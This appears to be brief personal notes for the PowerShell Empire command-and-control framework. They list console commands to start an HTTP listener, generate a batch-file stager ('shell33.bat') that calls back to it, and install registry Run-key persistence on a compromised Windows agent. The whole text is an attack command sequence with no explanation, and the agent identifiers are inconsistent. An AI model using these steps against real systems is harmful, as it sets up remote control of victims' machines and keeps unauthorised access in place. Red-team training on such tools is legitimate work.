empire-registry

empire-registry
powershell-empire server

powershell-empire client


uselistener http

set Name test
set Port 8899
execute

back


listeners

usestager windows/cmd_exec

set Listener test
set OutFile shell33.bat
execute


usemodule powershell/persistence/userland/registry

set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run

set Agent NRZAPF5cu6


interact NRZAPF56